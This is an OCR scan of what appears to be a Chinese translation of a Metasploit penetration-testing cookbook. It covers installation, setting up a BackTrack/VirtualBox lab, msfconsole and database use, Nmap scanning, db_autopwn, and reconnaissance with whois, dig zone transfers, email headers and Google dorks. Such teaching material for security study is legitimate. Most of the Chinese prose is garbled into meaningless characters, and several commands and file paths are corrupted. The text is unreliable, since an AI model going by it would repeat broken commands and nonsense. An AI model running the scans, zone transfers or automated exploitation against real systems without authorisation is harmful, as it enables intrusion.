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Heb 3 T E0 G AT AR SC R AR, DU SOl R AT I PR, Wik DS AR B
& Metasploit FEAL{EFR]MBCERE, tn] LU S0RIRARAT LT, Jirp HA S T 800 6 .

EHTH

THIFLERFE, AWdNSTHFRF LRSI . RFRIFI o Hah LR MR
PRI HARPE . R SERE, W UM % PR Y 6 8 Y 2 A bl s Ui o) Metasploit HESE.
BHEIE

ZATFAIE T AR AH4E 720, £155 Metasploit web. cmd console A Metasploit update
. 7E Windows BRiEch, X HF O AR S k.

& Windows % %&£ % %% Metasploit B, Sid#M B A, BH

cad AERER AR R AN RS S A, MmEERitHE, &

~ ERME, BRAEG ARG PR AREORREAGL RS, TN
AR R P 64 iR A A A Ao ol & S A AR S R & E




4 Metasploit il iz F it

F i e 30 fh — S5 A e ) M, Ll A 7F Windows Rt %35 Metasploit £l 3 f) 2

A TNED

R AR ERIR

fE F P E Windows R 436 Metasploit HEZLRT 228 3]~ WA BT OUH B3l r,

wF AR,

@

Thetre has been an eror.

Error runming C:\Program

Files'. Raped T framesarkl / postgresql,/bin/prgl.exe -\ postgres -p T1T3

-h localhost -¢ "ALTER USER postgres PASSWORD bidi90eb™ : pugh

could not connect 1o server: Connection nefused [B:00002740,10061)
Is the server rumning on host “localhost™ and accepting
TCP/IP connections on port TLTST

could not connect to server Connection refused (eDDD02TA0TD0EL)
Is the server runnang on host “localhest™ and sccepting
TCR/IF conneclions on port TLTST

The appiscation will et now.

%t AL PostgreSQL AR5 2% tH S8, wRERERBE AR LLF L5 .
»  PostgreSQL #ATiz1T, wLAEH] Netstat dir & BFAHN G O R E iR SEERE

EEJ‘E:T]_‘ L

b AR ERAN R R, i, R RERBR C &, HHEE

A D fEa e X — 8.

» B E SN E.

IR B A, W7 LLE 8% % Metasploit HERERYfa] SRR 6By, b L Z 8]

ERHCBUE . 2 J5 P h Al T s 2 964 -5 Metasploit HEARi 1T HE .

1.3 1E Ubuntu #{f &5 ELE Metasploit

Metasploit HE3 (7] 3T Ubuntu /9 Linux BfEREGERIE T8 2003, EHeRdRY

Windows RZEREH .
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&

M. Metasploit £ 7 5 Chttp://www.metasploit.com/download) I T #H W f) %3 #5 Fr
RS MR e . R R R e N e, THRR SR TR E TR R
PRSI OB . B, EiTRHEE, ERRERAATHKERE, FaREEE.

ERTH
TEMENR e He G R IR R ArE K, REWT.
TERRE: WERITW Fd4, 7€ Ubuntu HLE 9238 Metasploit HEAZ.

5 chmod +x framework-4.*-linux-full.run

% sude ./framework-4.*-linux-full.run

IR R WEMATI Fard, BlE3ik st/ Metasploit HE4E.

5 chmod +x framework-=4.*-linux-mini.run

§ sudo . /framework-4.*-linux-mini.run

ERIE

e s 1) g2 et 78 L F A SLAR AR AFAE Ubuntu HL3E P A0 1) B0 22 33000 . 0358
.EEE- F‘]-El‘[ffﬁ hash-r fﬂékiﬁﬂ&o

G R RROEALF AR A £ 6 Linu AUE EAREARF .

L& 2

Tl R I — A K e 8, LLRTE Windows R4 L3 Metasploit B 2@ i) —ik
RRE.

REPHE

LR P RES T AR RN SRS . LA Ubuntu REP Ruby & 5 HERE
¥, XA PR LR RMMRHEL —. EXFHO T, oTLUREHAT I F a4 ke



6 Metasploit %3 ¥ i

e i A I
43 Ruby HOBUE, WTLLETTI0F .

§ sude apt-get install ruby libopenssl-ruby libyaml-ruby libdl-ruby
libiconv-ruby libreadline-ruby irb ri rubygems

B subversion 4, "TLLEIT IO F S

§ sudo apt-get install subwversion

LRI R, LS T P g,

§ sudo apt-get install build-essential ruby-dev libpecap-dev

EATHIN I HHRPERS . M Metasploit & 7 P 3 F # Metasploit Unix tarball, F-Hi7 0
T4 .

tar xf framework-4.X.tar.gz

sudo mkdir -p fopt/metasploitd

sudo cp -a msf4/ /opt/metasploit3/msf4

sudo chown root:root -R fopt/metasploitd/msf4

sudo 1n -sf fopt/metasploit3/msfi/msf* fusr/local/bin/

& 40 40 43 40

WIhAT Eikfr4 2 J5, Metasploit HEBLRI W] e se b, o B AT IE AT AR 42 3 047 4
A e

1.4 BackTrack 5 5 Metasploit——22834H &

MFEeTWAAMTT, BackTrack RERITHEERSE. L EAHEAERA: 81—,
BackTrack Tl 4 T BT AT BN LI, AW ST Ay, %, BackTrack f&—
AMET Linux MEERS, EAERSMZHGUG, WN{CEENREREP R TERNE
SEfE. BackTrack 154 T L3 Gl T RIS R], FFREC T 78 et B eh tHAAY T ik k.

e

AT LATE 10 L2 3r ) BackTrack $fE R &5, o] LIZE 4L balki7 o, dedsd i
R, MR T Linux M8RERSE—FE.



H1E st AR Metasploit BEETR T

EHEH

(1) ki5h BackTrack #:fER&N, SRFWMAHPEZ2RO4S, RRAPPBIREP 2R
root, ¥4 toor.

(2) ISR R GG, oTR{CarS =l LE, o] BLAAT startx dr 23 A GUI #2E,

(3) FIParBlalil Applications 32 FLEE T3 17 i 8) Metasploit HE4L. M Applications
S EEh, nTEMEIERE Applications | BackTrack | Exploitation Tools | Network Exploitation
Tools | Metasploit Framework %00, o F E .

® .. haclk | tracl [=

(4) BackTrack ' Metasploit ¥ H] (2 ] 80 (1) H st fdh &, #0HF 962 pentest, 1)
b i /exploits/framework3. #Mar ST 38l Metasploit, 15 5% Fsh#2ime O, %A m
P iy t.-',l .{F’le] 1"h-ilf..t.d,spl]'f.'llt | |

root@bt:~4 cd Spentest/exploits/framework3

root@bt: /pentest fexploits/frameworkd ~# . /msfconsole

EREIE

Wiir 24T 50 3 8] Metasploit 77 %48 F msfeonsole 152486, M Application 3§ af



B Metasploit i#i% ik 5

LA sz B A 1R P 8 O LR )

1.5 {EMHL 8B Em AR b

(A £ G UL MR BEN LB ANER, ERAE gAML EEY LH
RIBFR A ZEADR? FREEH RO 5L R R LI RIITE
ERGAAT S, Tt T — T m e it Bh L R e R E e s .

{8 virtual box ¥JER M@ L, 55 FH BackTrack 5 f1 Windows XP SP2 # i R 4,
i EHLIERME RS R Windows 7. ik, 7% virtual box 236 R R IPLIRE RN BE
ROl it ST MR EREE R IEZ4T Windows 7 i EHLFI4 5 TEIZ4T BackTrack 5.
Windows XP SP2 #:E E 5 i fl .

ERTH
R RRA e, — AR 3 PR

(1) %% virtual box J&, GYEFFIMEEL, EHHE Y REIOF Al Next, ERBhRE
R, BARME S R, LRSS A . BT A SE AR ke it
BT, aTLle%inTFesE.

http: //www.virtualbox.org/manual /UserManual .html

(2) BRAERPLA AT ROTERE, HEIE 32 (rifE REE PR 4GB HAF, 64 (1
AHET /DA 8GB WAE. BT, B HEIETE S REUELN R A R0 0 ik

(3) B (VM) G SERSE, FTLMER clone (Fif) 3T, ki Azl
G e BN, EBR(E ERIHLH B AT, W] L P R ELHL ) o e R A bR e
5, MAGRERT . Mo LA snapshot (HRED EI{RAFELILE SARE, W5
REROLBL 5 ) CAE R AR, 45 o] UL AR o] o B2 A st o M PR PP B2 =5 1 AR S 0t .

EHIE

{ERSIEENLZ AT, WERAT I EERE RS, R R L e AR, SR
BIREHIPLR Settings (), SRSIEFE Network settings (P&R ), (EMEERST, H 1
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TR NAT JEALRE ] T MERiEsE, 7 Adapter 2 Pik#E Host-mﬂ:,- Adapter, WIFERTR.

-”l setongs crlegoy from the dst on the left+hand side and move Hrmulm
item fo pet more SfrmaBon.

P LA R I AT . 2 BTl Host-only Adapter, 424 T i & BESUPL2Z a4 3k
i fE . B SE RS » R 75 s T, B] LLYE dr SRR FF P {4 ipconfig -4 5 F Windows
M AELBLEY TP sk, {#H] ifconfig iy 4 ¥ %7 BackTrack HEHULHLAY IP Hbhl, FF(F A4 1P 1
bt HARGEST ping #R4F, BHAP & BRIV MR 5 .

%
R A SRR, AR AE S R ST 5 B 2 1 S i ]
ARG KIS S B E A B P

£ M BackTrack @I Windows HLARUEAT ping AR, 7 5% £ K 00 N £ $ods (0. C
FECE], XA R % R Windows FLERA AL T2 iR 4, (04 1R 2 B 5 2RA M Windows
B R FBR, MR B KRB O B GEAT ping #E, BFEBIRART L
WeE]. [RIFEHL, X Windows HESLEL 0 By i 7 St AT 2 el b B2 .

%% virtual box guest additions
virtual box $E4E T —2U b4 p U 2e e, W7 CLSROL U0 I () sR FUBLAE (0, oc o P



10 Metasploit i#i% 3it =F fif

B il S ) - Ak BEAT i JL I .
by bR LR E RSB LR R G e CRE S,
» EERLHLERfE RSN Bah U A S,
» WEEN R
T e 2 P b AL, F5 AT I R, $E4E Device #7528, i Install guest additions.

1.6 TEHAAT SSH ZEREN Pl LK% Metasploit 21§

TERHEIAT A B, EEEPRE T a0 07 fif B dE 90l 40 R e L RO HLAE b A B MR B,
HESFRAOPLANERL F, SE™ENAFEARE, el FTEHHie SR T
Tt 0 0 7 (8 1T S AR

k&

prif S a2 SSH %73, BATH(ER PuTTY, BA'ER Windows 8L T B RiAT
%% SSH % /7%, FATTHAE Install guest additions 5 SSH 2 [l EE vr 4, [y %@ HINL
7 B VM FELL Windows XP E £ {E.

EHLH

(1) #5E )5 8 BackTrack REHULHL, 7F RN EMAR S ERO4 8360217, BER
Aah GUI, #AT FlfT— &S,

rootébt:~% fetc/init.d/start ssh
root@bt:~# start ssh

%1% Hi fF BackTrack #1238 I F15h SSH ##.
(2) BT REAm T a4 P #uht.

root@bt:~# ifconfig

il Fi% 1P Huhtk.

(3) | FRAEMWE LN LS5 PuTTY, $i A BackTrack B4HHLIY IP #ubE RSO S 22, 4n
T HE B
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Eamc options for your FuT T aesmion

Specily tha dasinahon oL WY 1o colmecs 1o
Host MName dof I sddess) Font
92168 56 101

Conrwclion tpe
LEw Tl Rlogn & S5H

Lasd save or deleie 8 o oned S890N

okt Saved essions
|-||-|r.:lzl..-..|:: Dl Sesngs Load f |
T , i Ut
S5H
Ahoud
(4) gt LB e Open #:8, HEhin 44T, REEERTD, fF PuTTY 478 Ble e

by b3t /2 BackTrack HEHLELEIIOAE. dpSiT P HBLE R TR, BIAHP B0,
2 JGIEAT ifconfig fr4r, #X8 W20 IP Huhl 75 5 BackTrack HEILLHLAOMEREHIE], W FEFTR.

EHIE

{Fi% SSH =5, Ao LI A PuTTY 5 BackTrack BRIFEHITZ H . BT
GUIL, FrLLN{E L s T3, A, 35 BackTrack HBEIIMLE: b o] LLisE— %0k A
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FEI#E, 2% Windows $fE REE RN R/ MEERRIL Ot TBUDMATFILE, Tt sa ik
HARAZAT ML S SR At IR BT RE, SFE AT LU — R Bt —wlb A7 i #E.

1.7 M5 G ——Metasploit 1Y) “Hello World”

SR P S S SRR RO T — iR . Metasploit 77 4 SR, 415l
7 msfgui. msfweb. msfcli 55 msfeonsole. FRTVERUUH BRI RE, AdAfhE
B A 4412 msfeonsole S0, 5 Hfth 57 fode Lo, X502 Thik Rl ns o H e s,

&
A B) B8 AT Metasploit (M8 fF R0, WAL RBINL b, BAShHERLYL.

EETH
8 msfeonsole R M, BEHE W FILEHE.

(1) 7 Windows #efE &8ih, n[ LUt Start jmetasploit framework | msfconsole 32 5L %
2 k1 & msfeonsole.

(2) {f BackTrack =, #JLLil| % Applications | Exploitation tools | Network
exploitation tools | Metasploit framework | msfconsole.

(3) B M £ P F HEfH 5 msfeonsole, 7 BRI T dr4 .

root@bt:~% cd fpentest/exploits/framework3

(4) e T H# V%S framework3, A 0T dir 480 0] |3 3 msfeonsole-

rootlbt: /pentest/exploits/frameworki$ . /msfconsole

HL{E, msfeonsole #:O1 L& 4k FizdT kg, TRl ardMA.

ERIE

Metasploit 5 [H# e T IEREA, 2P T LLESER A A Thik. nTHiTM RimaS, #
T S R R G R B AT AT ER, DURALEEUERE. MAEEFEITHERAN, ¥
A 1 1 SEARh BE PR .
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| ¥ 2
F i 4144 msfeonsole BIEhfE.

SRRERS
X L& AT LU T 2l AR A 2 .
msf > Is: Is fiy-< A7 EAF 207 AT 97 0 B RS0, AT AR HoAth B SR 25

msf > help: Zfir-%H 51 Metasploit HER P FTH o I fr 4, X Edy4nT LIRS R
LS RBHER GRS, TEFRTSERAEAXNGS, FEHEEFSEEFELTER
i .

msf> msfupdate: W] £ 58 A 245 ST O RRFR AT ACRS. e 4y . PEBECHT 1) Metasploit
HERch.

1.8 {F Metasploit HEZ2H &l oy Bdigde

Metasploit (15 E4F GRS T8 B0 R BIR . BBy ko R{E
B AR, RbfEAE b SRR ER. B, A0SR TR Y % I i
FrECR R, LU PR R O A R -

&

RIATH L T, Metasploit # [ 170 PostgreSQL 1 4 ERE S48 FE . 7F BackTrack |, ##
B —FEER, A2 MySQL S8 FEE. F P oy LA R 3 b S e P AT — b . FRATT S ok
F— T PostgreSQL ¥ FEM BN E. R T4, W8 opvframework3/config H .
5 # database.yml 3 f¥.

root@bt:~% cd fopt/framework3d/config

root@bt: fopt/framework3/configé cat database.yml
production:

adapter: postgresqgl

database: msf3

username: msf3

password: BbB2sacl
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host: 127.0.0.1
port: 7175
pool: 75

timeout: &

HEERKCLUEMNUA, £, O4MEBAEERE. L TXSHE, Fmaeif, @
A AR B I e T R

E&xH

T R MT 5 R MUR FEJE T . K13h msfeonsole, 757 88 fun {7t 57 S FE I 176k
Hi k.

Y S AT O L T ] O S PR O s R

msf > db_driver

[*]Active Driver: postgresgl
[*lAvailable: postgresgl, mysgl

PostgreSQL 2 ERIAE R MBI, W SR D) S Sidin e i ah 28, W] LASAAT T i <.

Msf> db driver mysqgl
[*]Active Driver: Mysgl

33— i 4 44 5 B 0 R P O 92 )4 B MySQL, {HACH i 1 B8 PostgreSQL %
P

. fEJ L — 2508 AR 49 Metasploit ¥, Rapid7 €4 78 L34 MySQL %k
Gl 4. Bitdb_driver 44 TAAK, PostgreSQL k4% Metasploit
R — M iR R,

BRI
TG B FE R B A5 ) msfeonsle, AT LU{#H db_connec v, Fifigs AR iZm 4
A

db_connect username:password@hostIP:port number/database name
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Fin, BAMEAIRIA M database.ym] SCfFHIL FREF S %, D4, BHRES. W5
AIRRIAE .

msf > db_connect msf3:8b826ac0@127.0.0.1:7175/msf3

RELHATIZ —ir 4 e, BRSERE T %0ds FE o Ac L /e

L%~
T A4t B e e — s A e B

PR R R

MR PR O RR A tH R, TS E R R A

» {EM db_driver fl db_connect iy & #EATRITE, I UATE {l B I 0 ) BHE RS .
» i tart/ete/init.d 7SN BEEEAR S, Rl T TR .

I RER R A W, WTEAE T 1 4 5 O R AR O S R .

msf> gem install postgres
msf> apt-get install libpg-dev

T P B8 478

F P AT EAFE Ao B o 22 3 L 40 6 St ) 000 PR OF T H G P el B A 45 SR, F i s 1 A2
I e AR P 8 ol S B

msf> db destroy msf3:8bB26ac0flZ7.0.0.1:7175/msf3
Database "msf3" dropped.
msf>

1.9 {ENBARAAF AR E AL R
T2 53 0 D B 2 7 98 T e e 2 ) 8 i .

&

AT IR QR e, B TR S A T LME F G R AR FE TR S . 7T
msfeconsole i A help fir4, R T — T F7HREE n] F ) EOE FEGr 4
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E#xH

BLEET i 1 e ol . db_nmap ir$ 7T LT RS I 47480 5 SRR 50 {5 617 il 2 S
B, 35 Nmap X HiRHLES TG, @3 ERMEIR.

msf > db nmap 192.168.56.102

[*] Hmap: Starting Nmap 5.515VN ( http://nmap.ocrg ) at 2011-10-04 20:03
IST

[*] Hmap: HNmap scan report for 192.168.56.102

[*] Mmap: Host is up (0.0012s latency)

[*] Hmap: Not shown: 997 closed ports

[*] Nmap: PORT STATE SERVICE

[*] Hmap: 135/tcp open msrpc

[*] ¥map: 13%/tcp open nethios-ssn

[*] Mmap: 445/tcp open microsoft-ds

[*] Hmap: MAC Address: 08:00:27:34:A8:87 (Cadmus Computer Systems)

[*] Nmap: Hmap done: 1 IF address (1 host up) scanned in 1.94 seconds

MESRATLIE ], Nmap AR T — 5458, IF B sh Mol &5 11768 2] a0 EEER K
HAERE.

FATTLATE Nmap 358 REH-oX 28, LIELL XML R iafs R’ ZHFE
HASE = SARRE R, ot 5 i & oo ) Dardis HEZE.

msf > nmap 19%2.168.56.102 - A -oX report

[*] exec: nmap 192.16B.56.102 -A -0oX report

Starting Mmap 5.515VN { http://nmap.org ) at 2011-10-05 11:57 IST
HNmap scan report for 192.168.56.102

Host is up (0.0032s latency)

Not shown: 997 closed ports

PORT STATE SERVICE

135/tcp open marpc

139/tep open netbios-ssn

445/tecp open microsoft-ds

MAC Address: 0B:00:27:34:A8:87 (Cadmus Computer Systems)
Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds
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IXH, report RAFAEIIMES RO M4, 0 MU ILI A FR S H 3.

EHTE

db_nmap S OISR T—A SQL i, WRETHHAR, HHRE, Rk &H
HRAFAFIEER b . DU T RSB E R ERY, FHREARSE=)
TR R,

1.10 P Edm b AAifis EMRALS R

FEEAR MR RS, F 0 e AT o 47, 208 B T SR M B ¥
Hir R, MW HTERAOARME, e imbtes 2oy LHCUArsE, o] LS HArsE.

b3

J&i ) msfeonsole, MEAF A A SR H 3R IE TR, B S FEEEE . T LLR S04 PE AR 8 BT Y
R & SR, AT LR St A3 AT LA TR 0 45 B wT BASE A T Nmap 3506 04 618 09 XML 3,
BRUFOESE EAE SUS RIS T
EHLH

PR BT A, LA 5 AT S ) A

« Taernd nad

FEEFER T hosts fir4 (i &5 5. WA LU HL, Edn S msH e RS TEHEAE,
Pep L E T E2HNIME . BT EHEW,. Al LLAE hosts a2 P IS, KM LELE 8k
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MEFH T EN AR, W8T nbl.

msf > hosts -c address, os_name

Hosts

192.168.
152.168.
192.168.
192.168.

os_name
56.1

56.101

56.102 Microsoft Windows
56.103 Linux

msf > services: Fl T&H H L LIETHRS .

msf > zervices

Services

host

192.168.
192.168.

192.168

152.168.
1592.1643.

REC

pert proto name state info

56.101 111 tecp rpcbind open

56.102 135 tcp mscpc open

L568.102 139 tcp netbios-ssn open

56.102 445 tcp microsoft-ds open

56,102 135 tcp msrpc open Microsoft Windows

msf> vulns: 1% 80 PE & LA LR EER BT .

msf> db_autopwn: ik — & INREMAMI M4, T B ahkSCEL SR P H b5 LAY
kB, i T R A R MR, IS S A ST A

EHEIE

Srivit BRI A, I HOE A S R I S HT R A SRR E A A R, MR ER T
i e L RS P A A el AT MR R BSR4 vulns 5 db_autopwn Rl
BIEM NG S, SRR P EER AT U



B2E

ERUK S5

ATV Tk N

o HiahUE BUME 1.0 E—1E5EH A,
o HEhAfE B 2.0 B—TH

o Ui —Nmap Jl;

o FRFEM FHHAH BB

o (i FIMBYHIELEST H #R IR S5

o {FH Nessus BT FEFHE:

o {H NeXopse #HfrH4i;

o . {1/l Dradis HEBLIEREH AT .

2.1 &l

fF BB E NSRS RS, P RNEE RIS A A K
HErLB A EE. ERAESRE, M HIRET RIS ORI, E05 SRR,
EEFRHE pUE SR B ARPLEH ORI KRG R, Flin 1P bk, nTRRS . JTPHORDE. %
WA EEN RS, XS EEE A, R FEAT 3 AR MER.

o Hish{E Bk

o EahE{E B E

o FHoTRY

BSERFIE 3 R ACHEAT — 1 M At A

o WAUIEBUE. WHEEARTEBEEN, AHFES HEISASHEEAY
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FERERE, AR SR SR AR H LB A AR, B8 whois 71
Nslookup &8 775t. M5 HHRL—AELN Web REF, A MFEIELA whois
T LASRIZ web FEFIOACRIE, Bl 1P MulE, . FH. MRABAE. 56
TR R, (S RERE R PR . B TR F AR 0388
B,

o EMRMEEME. MAILHAN, BEL FHIRPLISE TR AU, R
HORBEAREUE £ 1005 B, TTHE MEAE H ARHLIS 10 R A M MBEKE. EEDRER
BelHoR S, RIS R FARILES T O, E R HARhLE
FATBS IR O, B AT T W] RS

o HETETF: HRMMEBEEREAS ARG BREAERLL, HEEKB
AR A HE R A LT EN S . AT AC IR IE S 0 B T ASfF 1D F e MR afE
B RIRIZFHECRMEMERES, Hit, #oTRERS TN —4 0
RS el am. fldn, & AT LA R R R ISR AL, o AR 5 AR
FR S AR R B L R, At A Ok T R 0 R L ST 0 e, th R
X0 1T 2 R

FERTES, HEa fr Al Pl m SRR AL TR REEHE, A
TR S Hr e B AR BB T b B R R RS OB R, BT RS BRIl
¥ AR AR H FRHL 35 B . Metasploit WA A EMEMThAE, MRS T —SE=4H1T
L — P M5 o D1 DO A, FRATIH /1 41 P4 TR 94 40 28 A — 22 T F7E Metasploit HESE
Z ERSATRS =0 . PRI A0 H AR pLEs s Rl .

2.2 #AhAERWE L0—E8 X
AN T A B — el R

&

whois. Dig il Nslookup JEZRE H AR H14615 EAG 3 P REA. BRRAGH, Kidhs
A T sh A B ER, AT T 5 H AL 2 B . X edr 4Tl
FIH(E BackTrack #5idhAT. T EEUE L, ME& F k.

EHLH
PATE L0 S whois 5 i FF 445 FUBCHE, whois J2 BackTrack =y B ity — % 4>,
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A LLTE 2w H Bz 1T .

A1 www.packtpub.com 1T R L) whois ], i HHEHE R, TR AE
R, XEHREHRXAET.

root@bt:~# whois www.packtpub.com
Domain Name: PACKTPUB.COM
Registrar: EASYDNS TECHNOLOGIES, INC.
Whois Server: whois.easydns.com
Referral URL: http://www.easydns.com
Name Server: NS51.EASYDNS.COM
Hame Server: NSZ2.EASYDNS.COM
Name Server: WN353.EASYDNS.ORG
Hame Server: MNS6.EASYDNS.NET
Wame Server: REMOTEL.EASYDNS.COM
Name Server: REMOTEZ.EASYDNS.COM
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 09-feb-2011
Creation Date: 09-may-2003
Expiration Date: 0S9-may-2016

M ERFEE TR, i 0H whois TSI RER T HER Web PSR £ A X%(E
B, ffE DNS BRS3F. GIE M. MRS, bR R MR =T mdE M B 4nIRE
B, BIHRZ b Eeah 20 B A

5 —Fh MR B 0 R i DNS gk, B AR dig B4, &M
76 UNIX B2 RS, Fiii4M7%f www.packtpub.com B dig 75,

root@bt:~# dig www.packtpub.com

;P o<<>> DG 9.7.0-P1 <<>> www.packtpub.com

{7 glebal options: +omd

;¢ Got answer:

i: =>>HEADER<<- cpcode: QUERY, status: NOERROR, id: 1583

;r flags: gr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 6, ADDITIOMAL: 1

i+ QUESTION SECTION:
;www.packtpub.com. iN A
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;; ANSWER SECTION:
wwWwW . packtpub. com. 1200 IH CHAME packtpub.com.
packtpub. com. 1200 IN A 83.166.169.228

¢+ AUTHORITY SECTION:

packtpub.com. 1200 IN NS remotel.easydns. com.
packtpub.com. 1200 IN NS nsZ.easydns.com.
packtpub.com. 1200 IN NS nst.easydns.net.
packtpub.com. 1200 IN NS nsi.easydns.org.
packtpub.com. 1200 IN NS nsl.easydns.com.
packtpub.com. 1200 IN NS remote?.easydns.com.

i+ ADDITIONAL SECTION:
nsld.easydns.org. 5051 IN A 64.68.192.10

M EmEIfE P AT EAFH, #i# DNS idRRaT AfRMESAE. dig @SR %
BLEHL% A0 TP Huhk - ] (00 W) BT, Ab, dig fir-S 0T LU F A IR 28 BRI A (E
B X EN T His BV SRS T LR S e B e . B4, 1%k DNS ié%
A (AT oL T o B MR 5 R T E RS A A —ErlE, SRS
{iFil Nslookup #r4. Nslookup 4 /L FHI dig fir & —HRIE, EEAIEH T H TR ER
S 2800 WA A0 EE, Al An iR R B 45 28 8 DNS R4 38 .

root@bt:~% nsloockup www.packtpub.com
Server: 220.226.6.104
Address: 220.226.6.104453

Hon-autheoritative answer:

www . packtpub.com cancnical name = packtpub.com.
Hame : packtpub.com

Address: B3.166.169.228

AT LLF B Nslookup #ir-& e T 5 ARG — (5 8, Blin 1P Huhl. JRS5235 1P %%
HE. ZEgEhUE REEREARTE R T 5 Bl NEE, s dEi TRt T
]
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EHTIE

dig #y4 ] T &3 SPF (Sender Policy Framework, A&iX¥# HBSHESL) id%, SPF id%
€ SCT S H MR AOE S RG, U, WRLRRR S A% T TT AR By . ANIEWER) SPF idREH
27 A R A I B 3R S

SPF iC 32 BASCA T R AT Y9, S STH R IE M5 e SUA0HE A L P B S AR AR FEA 2 3289
¥ . Dig fWEREUA{E B B THiE B Ax 2 A AL 2 ] ..

BEHE
& T 5 & T A T s (s BRI T

ERAE=A Mk

EANICZ27 2] T AN B a2 B AR T Bl R E B k. b Lief —F 3
REFELF CBOR AT TIATRORAE, BIEA RS, SR TEARE TN, XK
s th TSR OE HAR EVLRO D EALE . BRI, FH AR TFIAEFER.

T P AT R R R

http://who.is
http://www.kloth.net

2.3 U ERBE 2.0— 10X

FAREL A GEFERTTE e R IXEE B ER, (HEEH —HE AR RN 4,
B FIX L BORAKGAT 8 0 A%, HSEks FaT LR GERIPERIThAE. T i A998 A4t
HPRAT E R E R 87, R AR RS R AR . X ARAY & Metasploit
M, (HEEAGE BEEREBENA P EEA, RALERLX HLHATIHIE,

&
AATHEVRR DT 3 AR,
o [ WTLI LS.
o SMTP sk: ZHARWEHIRABEIRA 5 A% T,
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e Google dork: —FpfEj{HA HREAR, W% F¥RKIE L
Tl E N AR L TR .

ERTHR

(XI5 & DNS AR 55 8815 2 VIR 55 48 2 18] 3 # AR B BUC T — R s Bk 7 ik, 7T
FHFHE AR 5528 A R 55 2% Z R A8 38005 B KRS . BOEA =1 DNS fk a8 20 % 1
i 25 W REAT W N S O B W s A A5 R

FHERSEEIF, EWER) dig @ns].example.com example.com axfr ¥ iR 0| — ¥k, H
PAEER L IP Hibk AN ENEZ.

Domain: sxample.com.
Primary Nameserver: nsl.sxamplehosting.com E-mail Contact: admin@examplehosting.com

fwww/cgi-bin/demon/external /bin/dig 8nsl.example.com example.com. axfr

Po€<x> DiG 2.1 <<>> @gnsl.examples.com sxample.com. axfr 7 (1 server found)
example.com.36005CAns]l . examplehosting.com. admin.example.com.

10; serial

3600; refresh (1 hour)
€00; retry (10 mins)
1Z09€00; expire (14 days)
3600 ): minimum (1 hour)

exanple.com. SEGIG A 19.2.3.4

axample .com. 38600 NS nsl.axamplehosting . com

example .com. 3600 NS ns? . axamplehosting. com

example.com. 3600 MY 10 smtp.example . com.

webmail .example.com. 3€00 CHAME webmall.freemail.com.

router. . example.com. 300 & 10.2.3.1

fwl . example.com. 300 A 10.2.3.2

snort.example .com. 3600 A i 15 et e

WWW . example .com. 3670 A 10.2.3.4

ftp.example . com. 3600 A 16.2.3.58

pdc.example . Com. 3600 A 16.2.3.6

mailsweeper 3600 A 10.2.3.10

devserver 3600 A 10.2.3.10

mimesweepar 2600 CHAME mailswespsr.eXxample.com.

axample .com. 2600 8CA nsl.examplehosting.com
adein. examplehosting.com.

1¢; serial

3600; refresh (1 hour)
&00; retry (10 mins)
1209600; expire (14 davs)

M EERTEAE H, RREWILIRST 10 ~FEHL4, out of which eight unique hosts belong
to example.com. [FIBf, EHLAKHAEIRR, & UIEMTHE HAERL LIEfT RS KR,

AT SMTP &5 —Fial LI H ARfs B R E (R B, AT LS GEME A iR 55 2% S 3L 1P Hh
b AFER . XFOTERME— AR T T 5 —B A HARPT R4 B A I L7 il A
REREAT 0% FEEZRT A B IR BN BT Bk 415 B0 A 2
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Delivered-To: abhinavbom@gmail.com
Received: by 10.231.31.12% with SMTP id ylcsl1l38050ibkc:

Wwed, 12 Oct 2011 00:02:38 -0700 (PDT)

Received: by 10.227.200.20 with SMTP id eu20mrBS579205wbb.42.131840259571%7;

Wed, 12 Oct 2011 00:02:37 -0700 (PDT)

Return-Path: <zainabb@packtpub.com>
Received: from imap.packtpub.com (imap.packtpub.com. [83.166.169.248])

by mx.google.com with ESMTP id nlsi738156wbh.28.2011.10.12.00.02.36;

Wed, 12 Oct 2011 00:02:37 -0700 (PDT)

Received-SPF: pass (google.com: best guess record for domain of zainabb@packt
sender) client-ip=83.166.165.248;

Authentication-Results: mx.google.com; spf=pass (google.com: best guess recor
B3.16€.1€9.248 as permitted sender) smtp.mail=zainabb@packtpub.com

Received: by imap.packtpub.com (Postfix, from userid 763)

id 27B425700021; wWed, 12 Oct 2011 08:02:36 +0100 (BST)
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on imap.packtpub.com
¥X-Spam-Level:

X-Spam-Status: No, score=-101.4 regquired=5.0 tests=ALL TRUSTED, AWL,

HTML MESSAGE,HTTP ESCAPED HOST,USER_IN WHITELIST autolearn=failed

version=3.2.5
Received: from [127.0.0.1) (unknown [122.182.11.42))

{Authenticated sender: zainabbW@imap.packtpub.com)

by imap.packtpub.com (Postfix} with ESMTP id D4CECS700020

for <abhinavbom@gmail.com>; Wed, 12 Oct 2011 08:02:33 +0100 (BST)
Message-ID: <4ES53BB85.4030105%Bpacktpub.com>

xf_ b G BBt AT Vel 20 A Ja vl DLW, B AR 55 2% 1) TP Hhhik & 83.166.169.248, %
ARS8 T ESMTP A%, H P {EH T IMAP iR%, XL s Bt T Bt —5
WitBiEEEA -

BJa— AR Google dorks, XFh ik RIER R TFEH, HERRER R,
B — T oK A2 FUEIX R 5 2 Re LR 2% (5 B . IR IR, Google R H
£l Internet U5 ] 1fi & B H bRk 28 E AR A 1 09 548 B 0% & SCAF R SCRy, FEaT BL7e 48
RER P HITRT . FIH—2 Google #EH1T, W7 RERPL S site 5
fletype XHE7, W] LAFRF|—EATERIO 4 R .

tb in7E Google H#E4T LL F £ 1.

P www.target .com filetype:xls
P www.target.com filetype:pdf
P site:www.target.com filetype:db

Ffelih, BT LLZAR AR JLFRASF 4 & 77 N Google F R h 54— sk gh 3,

EHIE

Dig B H#RPIFIHEEAA L2 f H AR 1P SRTEA N B BT R 4R 850 . IR %(E B
#Rr I R Ot 4s DNS JiR%54%, LAEE R O IEMBRE X R, dig A4 B THUA]
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IXFP(E B . SMTP Sk 2 7l fF - L ah 43 4>, Since it is the main data representation of
e-mails, PHHPAET BTFEARKIEEFHIRNRGEE.

Google dorks &8 HAEEHAEER, RE Google #EHERTI &M CHMRMEE
iR . SUHER Google R E T Ja, Ml LMEAR LR EMERAHRITESR.

L £ 2

Google dorks A9 Rl

www.jhony.ihackstuff.com P 3532 {1t T 52 ) Google dorks #6#5, M 7] LL$E 2 Google
dorks ¥13%, MAXLEH TS, AJLIIREUKERBEA B ARG R

